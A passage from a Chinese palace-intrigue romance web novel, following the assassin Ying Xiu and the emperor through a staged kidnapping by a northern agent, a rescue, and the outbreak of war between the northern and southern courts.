少年指尖的温度仿佛还留在手心,帝王低头,发现掌心静静躺着一枚小巧的南朝王旗。 他慢慢攥紧那枚王旗,力道很轻,不至于折损。 第二局,赢秀望着插遍了沙盘的南朝旌旗陷入沉默,似乎不是地势的问题…… 他沉默片刻,抽出一张新的帛书,埋头对着沙盘写写画画。 日晷上的光影已经指向酉时,正是用晚膳的时间,内监总管早已命御膳房备好了晚膳,却迟迟不见陛下传膳,不由有些疑惑,悄悄走进殿门,立在门前,往内张望。 余霞成绮,春光淡沲,照得大殿一片淡淡金辉,金裳少年正在埋头挥笔,帝王坐在他身侧,安静地注视他。 两人脸上都贴着白条,赢秀只露出眼睛,帝王下颌一道白,说不出谁更滑稽。 内监总管立在原地,久久没有回神。 鸱鸮冷不丁从金笼中飞来,稳稳当当地落在他头上,在它发出咕咕叫之前,内监总管手疾眼快,一把捂住它的嘴。 鸟只来得及发出:“呜呜呜……”随后便被手动噤了声。 一人一鸟安静地立在黄昏中,望着殿内的帝王和刺客。 …… 赢秀近来沉迷于沙盘,时常让谢舟叫少年们进宫陪他,一群人窝在太极殿,对着沙盘抓耳挠腮。 殿内时常能听见他们鬼哭狼嚎的声音,内监总管深感无奈,这回是真的鸡飞狗跳了。 那日主动站出来帮赢秀堪舆的少年唤作封胥,年纪轻,性子活泼,喜好和性情与赢秀几乎一模一样。 就像是,和赢秀是一对天作之合的狐朋狗友。 “这三洲是我的了!” 封胥插上旌旗,笑得有些欠扁,其余少年支肘撞了他一下,调侃道:“就你和赢秀两个最厉害。” 闻言,赢秀和封胥相视一笑。 一直斗到日落时分,宫漏遥遥响起,几位少年该出宫了。 赢秀立在殿门前相送,本该跟着宫侍们离开的封胥站在门前,压低声音,神神秘秘道:“我有一只白狼,你想不想看?” 白狼,属猛禽,在京畿内极为罕见。 赢秀犹豫了一下,同样低声问道:“要怎么才能看见?你带进宫里吗?” “你出去不就能看见了?” 封胥扬起剑眉,朝赢秀眨了眨眼,绘声绘色地描述:“那只白狼可大了,很漂亮,白得像一团雪。你跟我出去,悄悄的,不要惊动他们,咱们看完就回来。” 赢秀小弧度地点头,封胥笑了,正要转身离去,身后少年叫住他,轻声问了一句:“封胥,你为什么对北朝的地势如此了解?” 封胥一愣,摆了摆手,没有回头,语气大大咧咧:“纸上谈兵罢了。” 赢秀望着封胥,直到他的背影彻底消失在宫墙下,这才回过身,一转头就看见了身后立在暗处的帝王。 “殷奂?”赢秀走入殿内,伸手在帝王面前挥了挥,帝王漆黑冷凝的眸光微微转动,最终停在他脸上。 “你怎么了?”赢秀直觉对方现在有些不对劲,想起如今正是倒春寒的时候,生怕他又犯了病,连忙拉过帝王的手,捧在手心里搓了搓。 帝王的手有点冷,冰凉如玉,骨节强硬得凸起,根根分明,透着上位者专属的强势。 赢秀双手捧着,试图捂热他的手。 帝王没有动,任由他捂着,不经意问道:“方才那个人是谁?” 赢秀不假思索:“封胥,他说他养了一只漂亮的白狼,问我想不想看。” “你想去么。” 帝王用的是陈述句,平静澹然。 赢秀点点头,满眼期待,一双星星眼望着帝王。 “那你去吧,”出乎意料,殷奂很痛快地答应,“带上你的剑。”他意味深长地提醒。 赢秀毫不怀疑,松开帝王的手,噔噔噔地跑到那面宫墙边,取下悬在穹顶的问心剑。 摩挲着剑鞘,少年后知后觉:“咦?为什么要带上剑?” 帝王伸手摸了摸他毛茸茸的脑袋,温声细语地解释:“他是北朝的人,想绑架你交换世子。” 声音平静,听不出起伏。 赢秀:“(⊙o⊙)” 他愣了愣,问道:“那他真的有一头漂亮的白狼吗?” 帝王沉默,“你想看白狼?” 赢秀纠正道:“不是白狼,是漂亮的白狼。”他平等地喜爱一切漂亮的生灵。 帝王道:“……你想看漂亮的白狼?” 赢秀点点头,其实也不是很想,只是有一点点好奇,他从小到大在山峦中见到的猛禽多了去了,但是没有白狼。 不再想关于白狼的事,赢秀神神秘秘地扯了扯帝王的袍裾,低声对他说了些什么。 帝王眉头微蹙,有些不赞同,刚要拒绝,赢秀很不高兴:“不是你说的,上者伐谋,其次伐交么?” 看着一脸兴致勃勃要学以致用的赢秀,帝王:“……” 赢秀做好决定,不再和他争论,一转念,想起对方冰凉的手,放好问心剑,连忙问道:“你冷吗?不会是又犯病了?要不要请御医来?” 少年喋喋不休地追问,生怕他出事。 帝王轻声解释道:“……不冷,寡人向来体寒。” 其实是冷的,每逢寒日,疼痛寒凉便会深入骨髓,宛如针刺,昼夜不歇。 去年冬日,他安置好京师事宜,前往气候相对温暖的江州,一方面是为了避寒,一方面是亲自督工运河,从地方收归洲郡兵,削弱士族豪强,集中皇权。 “你骗人,”赢秀直接戳穿了他,“你的手都是冰的。”少年眉眼间写满了“你又不珍惜自己”,拉着帝王径直往殿内走去。 一口气叫来太医院所有的太医,赢秀神色严肃,命令帝王在矮塌上坐好,把烧好的汤婆子往他怀里一塞。 尤嫌不够,又挑了两个小的暖炉,确保里面的碳火不会掉出来,放在帝王的袍裾里,左右各一个。 还有地龙,斗篷,被衾…… 找了一圈,没有找到属于帝王的斗篷,赢秀索性把自己的给他披上。 由于身高差距,帝王坐在胡床上,金色斗篷刚好直到他小腿,下面还差一大截,看上去有点可怜巴巴的。 他缁色的袍裾里冒着袅袅雾气,手中的汤婆子也冒着气,衬着那张如冰如玉的眉眼,宛如神仙腾云驾雾。 太医满头大汗赶来,下意识在殿内寻找那位金裳少年,却发现对方正好好地站着,反倒是陛下,居然裹着金色小斗篷,安安静静地坐在胡床上。 袖里还冒着烟雾,映得威严可怖的脸都显得有些温润。 太医不约而同地抿嘴,强压笑意,哎呦,真的…… 一点也不好笑。 他们脸色严肃,不停回想着毕生最难过的事,严肃地诊脉,严肃地沉思,严肃地严肃。 看着一张张面无表情的脸,赢秀忍不住了,紧张兮兮地问道:“各位大人,殷奂不会有事吧?” “不会,陛下身子……”太医话说到一半,骤然看见裹着金色小斗篷里的帝王垂眸,淡淡地看了他一眼。 太医瞬间改口,换上了一副沉痛的表情,“唉,郎君珍重……陛下身子骨本就不好,又逢三月春寒,只怕……” 赢秀瞪大眼,靠近太医,“什么?!” 意识到自己编过头了,太医额头汗津津的,抬头抹汗,硬着头皮道:“总之,为免病情加重,不宜痴嗔,避免心绪不宁……” 他一面说,赢秀一面在帛书上记下来,皱眉,凝重不已,仿佛在对待什么至关重要的大事。 太医走后,帝王刚要起身,赢秀连忙制止,“不行,你先好好坐着休息一会儿。” 无奈,谢舟只能裹着斗篷里,安静地坐在矮塌上,赢秀也坐了下来,挨着他,主动牵起他的手,絮絮叨叨地和他说自己的计划。 帝王侧耳倾听,神色微微变化,赢秀生性聪慧,只是有一点不好,以身入局,从来不顾自身安危。 “赢秀,”谢舟语气低沉冰凉,平静的表象下压抑着薄怒,“上次你和羌兵在玄武湖比试,可曾想过寡人?” 赢秀被突如其来的质问问得发愣,结结巴巴地解释:“……我想给你出口气。” “你就没想过,倘若你出了事,寡人怎么办?”谢舟步步紧逼,丝毫不给赢秀思索的机会。 金裳少年认真道:“不会的,我的剑很快。” 他亲身试过了,除了天子杀不了,其他人都能杀一杀。 这就是顶级刺客的自信。 险些被他气笑,谢舟捞起少年一绺发丝,慢慢地编着辫子,越加平静,“倘若折断你的剑——”他低眉,注视着赢秀,“你还会这般不听话么?” 赢秀侧眸看向静静躺在角落的问心剑,连忙摇头,尝试劝阻:“不行,这是铁的,折的话会弄伤你的手。” 说着,他把谢舟正在编辫子的手抽出来,牢牢地抱着他的双臂,不让他有机会折剑。 赢秀一面抱着帝王的手,一面道:“我向你保证,我不会有事的,你相信我好不好?” 见帝王不理会他,少年一叠声地唤他:“殷奂,殷奂……谢舟,谢舟?”他两个名字交错着叫,一声接着一声。 帝王忍无可忍,身躯前倾,将赢秀压倒在矮塌里侧,金色斗篷随着落下,罩住了两个人。 眼前一阵发黑,毛茸茸的斗篷遮蔽了视线,连带着烛火也忽明忽暗 斗篷上的绒毛擦过睫毛,就连睁眼也费劲,赢秀下意识深呼吸。 黑暗,他听见一道冰冷温凉的声音在质问他: “——你到底是要殷奂,还是谢舟?” 肌肤被炙得滚烫,逼仄狭小的空间内,温度不断攀升,对方袍裾里还藏着两个冒烟的手炉。 想起太医的叮嘱,赢秀用双手使劲推他,“太医说了,你现在不可以动怒,要心平气和。” 推了半天没推动,赢秀选择躺平,大声道:“我喜欢殷奂,殷奂!” 他自认为自己说了正确答案,正想让殷奂起身,朦胧漆黑中,一只被暖炉煨得发烫的大掌攥住他的手腕,突出的骨节硌着他的皮肉。 阴沉沉的声音再度在耳畔响起,几欲刺穿耳膜:“你喜欢寡人,还是寡人的脸?” 总算明白对方一直以来的心结,赢秀迫不及待地爬起身,想要和他面对面谈一谈,他双手撑着床面,试图往后挪动。 “我有话和你说,你让我起来。”赢秀声音都有些不稳,试图和殷奂商量。 对方似乎听进去了,松开手,并未阻止他往前爬,赢秀刚刚钻出斗篷,碰到矮塌尽头,险些磕到脑袋,下一刻—— 脚踝传来一阵烫意,一只大掌攥住他的足,生生将他拖了回来。 赢秀大喊一声:“你!我最喜欢你了!” 眼见对方不听他说话,赢秀也来了气,在黑暗中摸索,顺着对方的下颌摸到颈项,最后摸到凸起的喉结。 他张口,恶狠狠地咬了下去,却在触碰到肌肤那一刻放轻了力度,害怕以自己的力气,一口下去,会把殷奂给咬死。 下口的瞬间,对方骤然僵住了。 帝王安静得像一尊外表滚烫,内里冰凉的石像,一动不动,维持着原来的的姿势,自上而下,箍住赢秀的手脚。 僵持了片刻,赢秀松口,试着推了推殷奂,推不动,他放软声音,选择老实交代:“一开始,我确实是喜欢你的脸,那么漂亮,清冷,不像是人间该有的人物。” 赢秀的声音轻缓,向他描述着自己当时的感受。 初见第一眼,误闯上船的少年刺客被世无其二的美貌剧烈冲击,此后,魂牵梦萦,难以相忘。 “后来,我发现,你不仅长得漂亮,心底也很好,”纵使到了现在,赢秀依旧没有太大改观,“就算别人都说你是暴君,生逢乱世,惟有刚硬手段才能守住国土。” “……无论你是谢舟还是殷奂,我都喜欢。” 无论是谢舟还是殷奂,门客还是暴君,本就是同一个人,何来二选一? 赢秀不明白,但是既然殷奂这么在意,那他会注意改口。 头顶罩着的斗篷骤然消失,烛光明晃晃地照进来,有些刺目。 赢秀眨了眨眼,终于看清帝王已经起身,隔着一小段距离,戴着短短的金色小斗篷,坐在不远处。 方才动作过于激烈,手炉掉了,帝王屈身拾起来,默默塞进了袍裾里,左右各一个。 他逆着光,昳丽眉眼笼在一片淡沲昏暗中,五官上阴影分明,惊人的锋利美貌。 “——你不是要去看白狼么?”帝王终于开口,声线低哑:“半个月之后,寡人会准备好。” 赢秀见不得他逃避,直起身,挪了过去,双手环住对方的劲腰,脑袋也跟着靠了过去,“我刚才说的,你听见没有?”少年命令道:“你给我复述一遍。” 帝王沉默,头顶迟迟没有传来声音,赢秀有些怀疑自己把他的喉结咬坏了,伸手想要检查一下,指尖骤然被按住。 那只大掌攥住他的指尖,不让他碰。 帝王平静地复述:“赢秀喜欢殷奂,喜欢谢舟,只要是我,赢秀都喜欢。” 不对,这才不是他说的话。 赢秀恼了,想要纠正,抬头,对上了帝王温柔清冷的眼眸,湿润,平和,令人想到了某种受伤的小动物终于得到安抚的眼神。 少年的心一下软了。 第76章 第 76 章 “你要如何处置他?” …… 赢秀望着帝王的颈项, 冷浸浸的肌理里青筋虬结,凸起的喉结泛着一片淡淡的红,依稀可见两枚齿印。 他顿感心虚, 想碰又不敢, “疼吗?” 帝王敛下眼眸, 长睫低低垂着, 淡色阴影落在眼睑上,轻声道:“不疼……” 赢秀更加心疼他, 翻看记录太医叮嘱的小本本, 紧锁眉头,念叨:“你快躺下, 不要乱动。” 说着,他站起身,轻轻将帝王推倒,小心给他盖好被衾, 还不忘往上扯了扯被角,遮住喉结。 一面给他盖被子, 少年一面念念有词:“你现在不能受寒,出门必须披斗篷,带上暖炉,知道吗?” 穿着斗篷躺在被衾下, 揣着三只手炉的帝王:“……”倒也不必如此。 他刚想开口, 却被赢秀严肃制止:“太医说了,言多伤气,久视伤血,你不许说话,好好闭着眼睛休息。” 少年难得如此严肃, 一脸凶巴巴,帝王无奈,只能由他去。 赢秀恶狠狠地念了一遍小本本,提醒殷奂应当学会照顾自己,好好养生。 他刚要再念一遍,捧着帛书的手骤然被攥住,一股强硬的力道挟着他往内,距离骤然拉近。 被他三申五令不准说话的帝王低声道:“躺下。” 赢秀手忙脚乱地捧着帛书,正要好好说一说对方,却听见塌上人轻声道:“寡人冷……” 帝王漆发披落,被衾下是白色亵衣,半靠在牀頭上,仿佛一块温润冷玉,如月高悬,却又近在咫尺。 听到他说冷,赢秀蹭蹭蹭地转身,跑到外罩房,再出现时,怀里已经多了几个热气腾腾的暖炉。 少年浑身冒着热气,爬上矮塌,一股脑地钻进被衾里,黏黏糊糊地挨着帝王。 暖炉堆放在两人身侧,赢秀腾出双手,抱住殷奂,不放心地问道:“现在还冷吗?” 殷奂道:“……尚可。” 其实,不仅不冷,还热得出奇。 赢秀还是不放心,钻进他怀里,隔着薄薄的亵衣,感受到对方往日冰冷坚硬的胸膛,终于有了些许温度。 他总算有些安心,连忙探出头,伸手替殷奂再次捻了捻被角,温声哄他:“你好好睡吧,我给你唱歌。” 殷奂很不习惯这种被人呵护的感觉,他忍住异样,轻轻颔首,闭上眼帘。 刺客不会唱歌,笨拙地模仿着从前在小秦淮听到的水乡小调,轻声呢喃。 ……走调了。 赢秀毫无察觉,自顾自地哼歌,直听得守在殿外的内监总管一阵沉默。 其实唱得不难听的话,还挺好听的。 殷奂安静地听着,良久,少年轻轻的呢喃消失了,取而代之的是平缓的呼吸声。 ——赢秀已经睡着了。 殷奂伸手,将少年严丝合缝地嵌入怀里,环住他的身躯,姿态强势,动作轻柔,宛如猛兽小心翼翼地圈住心仪的猎物。 …… 时间一晃而过,半月后,封胥再次进宫,赢秀拉住他,随口问道:“你前阵子不是说你有一只白狼么?” 封胥犹豫不决,仿佛不是很想让赢秀去看。 赢秀随手一拍他的肩膀,封胥略有些僵硬,肌肉本能地紧绷,很快,他便收敛好警惕,漫不尽心地应下:“等我下次进宫,我带你去看。” 封胥没有食言,下次进宫时给赢秀准备好了方士的衣裳,说是寒山观方士近来入宫给太皇太后祈福,叫他混进祈福队伍里,悄悄出宫。 “我们去去就回,最多也就半个时辰,不会有人发现的。”封胥低声对赢秀道。 彼时,赢秀已经换上一身方士的布袍草屐,头戴宽松飘逸的逍遥巾,遮住眉眼,脸上涂了粉,看上去脸色惨白。 一路上还算顺利,队伍出了九天阊阖,在宣阳门依次上了马车,到了铜驼大街,载着赢秀和封胥的马车调转方向,渐渐驰离寒山观的队伍。 马车内,封胥还在喋喋不休地向赢秀描绘白狼的模样,四肢皆白,矫健如雪,赢秀满眼期待,不时发出惊叹声。 说着说着,封胥有些口干,举起茶杯饮了一口,还不忘往空杯里倒茶,递给赢秀,赢秀接过来,毫不犹豫地饮下。 “封胥,你这茶好甜!”赢秀夸赞道。 封胥笑了一下,继续给赢秀倒茶,“那你多喝点。” “嗯!”赢秀咕噜噜喝下两杯,脑袋开始晃悠,“封胥,你怎么有两个脑袋……”少年话还没说完,骤然晕倒。 封胥脸上的笑意缓缓消失了,他本是北朝白毦兵的首领,跟随使团来到南朝,作为底牌一直潜伏,筹谋多日,只为救出世子。 如今,南朝皇帝最宠爱之人就在面前,他们总算有了筹码。 什么刺客,什么打败了他们北朝的羌兵,任他武功再厉害,也不过如此,对人半点提防也没有。 马车停在一处偏僻的小院前,封胥抱着赢秀,下了马车,走进小院。 潜伏在暗处的悬镜司暗卫:“……” 那可是我朝未来的皇后,谁允许你碰他了? 封胥把人放在小院最深处的卧房中,锁上房门,对同伴交代了几句,乔装改扮,急匆匆走出了院门,赶着和使团汇合。 听到脚步声渐行渐远,躺在塌上的金裳少年骤然睁开眼睛,他没有动弹,维持着原先的姿势左右张望。 此处很是偏僻,门户都锁得密不透风,看不到外头的环境。 他百无聊赖,继续躺着发呆,那茶水倒是真的挺好喝的,只是迷药的滋味不好喝。 幸好他提前服下了解毒丹。 在小院里待了两日,第三日夜里,赢秀睡得迷迷糊糊,忽闻门外兵戈铿锵声,惊天动地,他眯着眼朝外看去,只看见一排排漆黑的槅窗上透着猩红的火光,铺天盖地,烧红了窗子。 赢秀一下就不困了,连忙翻身下床,他没有鞋履,也没有外裳,只能赤着脚,一身亵衣,疾步走到门边。 门外声响越来越大,仿佛有什么人正在朝这里奔来,随着一声铁锁落地声,槅门骤然被打开。 封胥满身是血,快步拉过赢秀的手,脸色紧张:“跟我走!” 赢秀没有动,而是轻声问他:“你真的有一头白狼吗?” 封胥怔在原地,似乎没想到这个时候赢秀还在纠结这个问题,他不再犹豫,横刀抵在赢秀的颈项上,低声威胁:“你不和我走,我便杀了你。” “哦,你骗了我。” 赢秀笑了一下,笑容在满室明灭的火光中显得尤其清浅,令封胥有一瞬间的恍惚,还不等他抵刀更进一寸,手腕骤然一阵剧痛。 ——少年折了他持刀的手。 到底是白毦兵的首领,封胥很快反应过来,曲肘横击赢秀的腹部,顺带用另一只手去抢刀。 肘尖用力撞出,却诡异地落了个空,眼前人不知何时消失了。 连带着那柄短刀。 封胥浑身僵硬,腰间冰凉尖锐,赢秀漫不经心地攥着刀,抵着他的后腰。 他做惯了刺客,从不留情。 与此同时,门外骤然大亮,仿佛有千万重火把在熊熊燃烧,要焚净漆黑天地。 赢秀回首,望向院外,这座他从未见过的小院已经毁得不成样子,陈设破败,樯倾楫摧。 平地黑压压地站着许多人,执锐披甲,阴森可怖,帝王立在最前面,急步走来,身后是漫天火光。 赢秀反手给封胥点了穴,随手把人推开,三步作两步朝帝王走去,全然不顾自己还未穿鞋。 不过一转眼功夫,殷奂已经走到他面前,众目睽睽之下,解下身上的金色斗篷披在他身上,随后伸臂将他打横抱起,朝院外走去,声音冷淡地吩咐:“格杀勿论。” 这个角度,赢秀只能看见院外的火光,全然看不见身后的景象,身后无声无息,听不到半点动静。 他莫名有点不安,没有说话,安静地躺在帝王的臂弯里,托住他腰身的手臂修长有力,肌肉块垒分明,五指几乎要嵌入他的肌肤。 “……你抱得太紧了,”赢秀试图挣扎,努力了半天,也没有撼动对方分毫。 似乎是他挣扎得太厉害了,帝王终于垂眸,施舍似地看了他一眼,语气清寒。 “他抱过你了?” 赢秀思索了片刻,总算想起似乎有这么一回事,据理力争:“我当时‘昏迷’了,他不抱着我,难道扛着我吗?” 帝王没有与他争执,抱着他走到马车前,赢秀正要自己下来,以便上马车,对方却不让。 帝王捧着他,像是捧着一件珍宝般,登上马车。 ……这感觉怪怪的,显得他四肢不勤五谷不分。 马车内,赢秀挣扎着从他怀里跳下来,这一回帝王倒是没有阻拦,静静地看着他挣脱自己的怀抱。 斗篷险些掉在车厢地上,赢秀正要伸手去捡,殷奂已经赶在他前面,俯身拾起了斗篷,递给赢秀。 赢秀接过来披上,他倒是没想到,殷奂竟然这么听他的话,出行都披着斗篷。 他正想说两句话夸夸殷奂,对方却骤然开口。 “封胥,”帝王口齿间碾着这个陌生的名字,神色莫测,随口道:“你要如何处置他?” 第77章 第 77 章 危险 “我点了他的穴, 能让他三个时辰内动弹不得。至于如何处置,你决定就好了。” 夜里寒凉,赢秀搂紧了身上的金色斗篷。 这斗篷穿在殷奂身上合适, 穿在他身上便显得格外大, 层层叠叠地簇着他, 下摆一直堆叠到脚边, 笼住脚踝,曳在地上。 软光笼细脉, 妖色暖鲜肤。① 殷奂没有再问下去, 替他细细地扣好斗篷,俯下身, 握着他的脚踝,熟练地取了织锦履给他穿上。 “世子送回去了么?”赢秀骤然问道。 “送回四夷馆了。”殷奂漫不经心道。 四夷馆是外朝来使所居的驿站,估计此刻北朝世子已经和使团汇合,准备连夜北上, 离开南朝。 至于留在这座小院的人,估计早已被他们弃车保帅。 不出所料, 北朝世子回到四夷馆后,带上人,马不停蹄地换乘马车,按照原定计划, 挑拣着无人的水路, 一路朝北方而去。 夜色掩映,北上的艨艟上,几个北朝的使者面面相觑,总觉得有些不对劲,仿佛事情太过顺利了些。 从绑架幸臣, 再到用幸臣的下落交换世子,一切就如他们规划好那般进行。 只是,此行也折损了不少人手,算得上损失惨重。 被他们费尽心机救回来的世子正在对着舆图圈圈画画,状若疯魔,似乎在记着什么至关重要的消息。 使者忍不住开口提醒:“世子殿下,南朝人行事诡诈,您小心为上,千万不要被诓骗了。” 说来也是可笑,他们本来打算假借世子失踪之名,发兵征伐南朝,谁知世子刚过淮水,还未来得及归国,便真的失了踪,音讯全无。 不得已之下,他们只能再次出使南朝,设法救回世子。 赶在那位暴君发怒之前,他们必须快些护送世子离开,剩下一些使者留在南朝,应付南朝人。 等到世子归国,使团剩下的人也会告辞离开,届时…… 副使思索良久,想起那日阅武台上,被剜了眼睛的上峰,来时还是风风光光的正四品正使,一朝触怒昭肃帝,没了眼睛,被北朝视若弃子,生死难料。 他不由浑身发凉,连声催促道:“把船再开快些!” 三月末,北朝使团向帝王请辞,帝王颔首准奏。 当日,建康城最高的楼橹上,赢秀和殷奂并肩而立,望着城楼下,使团的车队渐渐驰向远方,消失在平原之上。 只剩下天边云卷云舒,长风浩荡,天下风云变色。 似乎想起什么,赢秀陡然问起:“鉴心找到了吗?” 两朝兵燹将起,须得快快找到鉴心,免得他流离失所。 琅琊王氏的长公子有家臣,有幕僚,有数不尽的奴仆,可是他的鉴心有什么? 殷奂沉默片刻,人是找到了,在边关从戎,“他在长江瞿塘关。” 赢秀愣住,追问道:“那你可曾告诉他,我还活着?” “说了。”帝王言简意赅。 这是赢秀再三嘱咐的事,他派人告诉了王守真,至于他信不信,如何反应,与他无关。 前不久,长江瞿塘关。 王守真刚刚下船,连日风吹日晒,肤色晒黑了不少,变成了小麦色,温润的气质中,夹杂了一丝刚硬的杀伐之气。 同伴下船后都赶着回家见亲人,唯有他一人在人群中慢慢地走着,不经意间看见作为上峰的百夫长正在躬身与人交谈。 百夫长看见他,伸手指了指他,口中还说着什么,那人看了他一眼,上前朝他走来。 “请问您可是王氏公子,王守真?” 王守真脸色平静,摆了摆手,忽略百夫长震惊的目光,“您兴许是认错人了,我不是王氏公子。” 那人笑了一下,搁下一句:“有人让我转告你,赢秀还活着。” ……赢秀?! 王守真连忙追问,那人却命人搬来一车箱笼,交给他后便转身离去,在众人簇拥下消失在码头上。 徒留王守真愣住原地。 片刻后,他打开箱笼,看见里面满满当当的金银,不由更加怔忡。 如果赢秀还活着,岂会不来见他?如果他已经死了,怎么会有人平白无故地冒出来,向他转告赢秀在世的消息,又赠他金银? 百夫长走过来,看了一眼犊车上的箱笼,意味深长地望着他:“那位可是从京师来的大人物,听说他们一直在找人,没想到是你。” 这段时间下来,他已经对这个清隽端方的青年没了偏见,能吃苦,能干活,样样都做得好,最让人省心。 只是不知,好好一位士族公子,为何隐姓埋名到边关当一位小小的水兵? 百夫长没有打听王守真的来历,举目眺望,压低声音:“好好干,这些赤龙驰马很快就要派上用场了。” 顺着他的视线,王守真望向一座座停在岸边的巨大楼船,巍峨如山,连绵起伏,远远望去,连天光都遮住了。 ——战事将起,这些楼船要出关了。 …… “南朝的部曲水师精悍强大,丝毫不逊色于我朝。” 赶在四月前,北朝使团回到长安城,在明光宫内,绘声绘色地向羌王描述在南朝的所见所闻。 使者战战兢兢,用毫不逊色来形容还是过于委婉了,实际上,南朝的部曲比北朝的厉害多了。 倘若真的兴起兵戈,还不知谁输谁赢。 他们本想劝大王推迟出兵征伐的时机,什么时候都好,反正不该是现在。 “……是吗?”羌王语气轻慢,“还未出兵,便自挫锐气,损害军心,”他随口道:“拖下去,斩了。” 使者惊愕地抬头,连连求饶:“大王饶命!大王饶命!微臣方才都是胡说八道的……” 他惊恐地挣扎着,被拖了下去,惨叫声传遍了整座大殿。 “为了南征,本王整整筹划了三十年!就盼着有朝一日一统南北,天下归一。”羌王厉声道,充满杀气的目光在殿内梭巡,“尔等谁还有异议?” 整座明光宫噤若寒蝉,无人胆敢开口,陡然响起一道声音:“父王应天授命,理当承眷命,牧苍生,统一南北轻而易举。儿臣愿为父王效犬马之劳。” 说话之人正是刚刚归朝不久的世子。 羌王低头乜了他一眼,朗声大笑,“真不愧是阿耶的好儿郎!你说说看,本王该如何做?” 世子回首,望了一圈殿内跪着的朝臣,道:“儿臣想单独向您禀报。” 羌王意识到他要说的话极为重要,神色稍稍严肃,屏退众臣,只留下世子。 “现在可以说了吧?” 世子压低声音,低声讲述在诏狱的经历——被关在诏狱的日子里,他隔墙听见身旁的窄狱有人,是琅琊王氏的家主,即将被问斩。 想到琅琊王氏私底下与北朝有来往,王氏家主一度身居南朝的尚书令,位极人臣,定然知道不少有关南朝的秘辛。 他试着旁敲侧击,承诺以后会设法照顾琅琊王氏。王氏家主思虑再三,在问斩的前一夜告诉了他一些至关重要的秘密。 听完世子的话,羌王沉思片刻,他记得王道傀,正是他当年暗中运作,把明昔鸾偷偷送到北方,献给他。 此人贪图功名利禄,一心光耀士族门楣,死前为了保住累世门第,维持琅琊王氏百年地位,向世子吐露南朝秘辛,倒也不出意料。 “只是事关重大,不能轻信,还需验证一番。”羌王抚须,面色峻肃。 看不出羌王准备何时出兵,世子也有些着急。 世子犹豫道:“眼下已经开了春,北方依旧凛如寒冬,牛羊都冻死不少,若是还不能南下避寒,只怕……” 他北方归来时,一路上看见南朝百姓穿着单衣,打着赤膊在田垄间锄禾,闲聊谈笑,过得悠然自得。等到过了淮水后,北朝百姓全部都裹着厚厚的皮裘毪衣,面颊清瘦,手脚冻得通红。 对比鲜明,触目惊心。 他堂堂北朝的子民,岂能败给南朝这堆软骨头? 羌王闭了闭眼,再次睁开眼帘,眸光肃杀冰冷。 “不能再拖下去了。” 他吩咐道:“传出去,你出使南朝时被南人扣留,九死一生才逃回来,再加这次南朝皇帝轻辱我朝使者,新账旧账,一并算!” “砰——” 宫漏敲响,钟声迢递。 报时的钟声一如既往地响彻明光宫,独坐鸾台的明昔鸾仿佛意识到什么,站起身,眺望万里山河。 风卷起她红色的发带,千里同风,两地殊异。 永宁阴历四月初,北朝以讨伐暴君之名,派遣水师进犯长江关隘,连越瞿塘关、横江、南津关等三道关口,其中两道关口被南朝水师及时拦下。 至于瞿塘关,堰口被凿,江水漫上堤坝,一重重浪打来,彻底打翻了江左一直以来的平静。 天下百姓,人人自危。 瞿塘关军报八百里加急送到太极殿时,正值子时,黑天墨地,漏尽更阑。 赢秀睡得迷迷糊糊,隐约听见宫人低语,随后察觉到枕边人起身离开,他裹在被衾里躺了一会儿,缓缓睁开眼睛,脸上还有些刚睡醒的懵懂, 赢秀坐起身,拨开垂帷,殿内还是黑漆漆的一片,没有点灯。 他想了想,下了床,趿着木屐朝外走了几步,许是听到动静,察觉到殿内的人醒了,宫人连忙入内掌灯。 琉璃灯点明,烛火簇簇,殿外的灯火次第亮起。 “郎君,陛下说了,让您再睡一会儿。” 赢秀摇了摇头,接过宫人手里的提灯,径直朝外走去:“我去东堂等他。” 他直觉向来敏锐,隐隐猜测到许是北朝有所动作,南北两朝隔江对立的平衡被打破。 赢秀提灯,一路越过漆黑廊庑,走到议政的东堂。 黑暗中,东堂烛火通明,立在殿外,依稀能听见里面传来说话声。 “陛下,万万不可!”一道苍老的声音道:“您要御驾出征,但是边关距离京师山长水远,更何况那里杀机四伏,万一……万一……” 朝臣满腹忧心,听得殿外的赢秀都有些不安,夜里蚊虫多,几只趋火之萤朝他手中的琉璃灯飞来。 少年轻轻拂了拂琉璃灯,萤火随之散开又聚拢。 “郎君,陛下让您进去。”殿门骤然打开,内侍对赢秀道。 赢秀连忙走了进去,彼时殿内正吵得不可开交,朝臣苦口婆心地上谏。 赢秀一踏进殿门,所有人的视线都朝他看来,眼神中明晃晃地写着:“你快劝劝陛下。” 帷幕后,传出帝王清寒的声音:“过来。” 赢秀走上高台,坐在帝王身边,低声问道:“你要亲自出征?” 这件事殷奂从没和他说过,但他凭着和殷奂相处多日,对他的了解,隐隐约约有所预感。 “是,”帝王略微颔首,语气温和却不容置喙,“届时你留在京师,驻防建康的中军以及宿卫军会保护你。” ——殷奂要把他一个人留在建康?! 赢秀顿时来了气,气得牙痒痒,却不好当着众臣的面高声骂他,只得继续低声道:“我要和你一起去。” 他不是殷奂的拖累,他很有用。 少年试图让殷奂明白自己有多厉害,“我会杀人,除了皇帝杀不了,别的都能杀。” 某位皇帝:“……” 殷奂轻轻扶额,赢秀掰过他的手,让他直视自己,语气认真:“你有没有替我想过?” 他把之前殷奂对他说的话拿来用,就连语气也模仿得十成十,想要冰冷地质问他。 ……很努力,但是听起来并不冰冷。 赢秀故作严肃:“你要是在边关死掉了,我也会死,还不如和你死在一起。”他随手指了指底下的朝臣,“他们会把我杀掉的。” 刺客对杀意很敏锐,他知道,要不是有殷奂在,只怕这群大臣恨不得当场把他解决。 底下的朝臣:“……” 怎么突然感觉凉嗖嗖的?难道是夜里太冷了? “不会,”帝王垂睫,轻轻睨了满朝文武一眼,目光寒凉,“会有人护你平安离开京师。” 等到赢秀百年之后,他们会把赢秀迁入帝陵,到那个时候,再来陪他。 赢秀才不管他说什么,语气异常坚定:“我要陪着你,无论去哪里。” 难得见他如此执拗,帝王有些无奈,动作轻柔地抚平他翘起来的碎发,少年醒得太早,来时还不甚清醒,黑发随意用金绫扎起,松散地垂在肩膀一侧。 帝王尝试劝说:“听话,寡人很快就回来。” 赢秀对此报以冷笑,恶狠狠道:“该轮到你听我的话了,战场上刀剑不长眼,万一……” 想到殷奂可能被袭击被埋伏被刺杀,赢秀恨不得把殷奂揣进袖子里,不让他出来。 赢秀:“<(。ì _ í 。)>” 少年绷着脸,一脸严肃深沉,袍裾下的手却悄悄地摸上帝王的箭袖,往下摸到他的手腕,试图圈住。 ——万般努力之下,终于圈住了一半。 赢秀再次尝试,双手并用,终于圈住了帝王一只手。 可算是成功了! 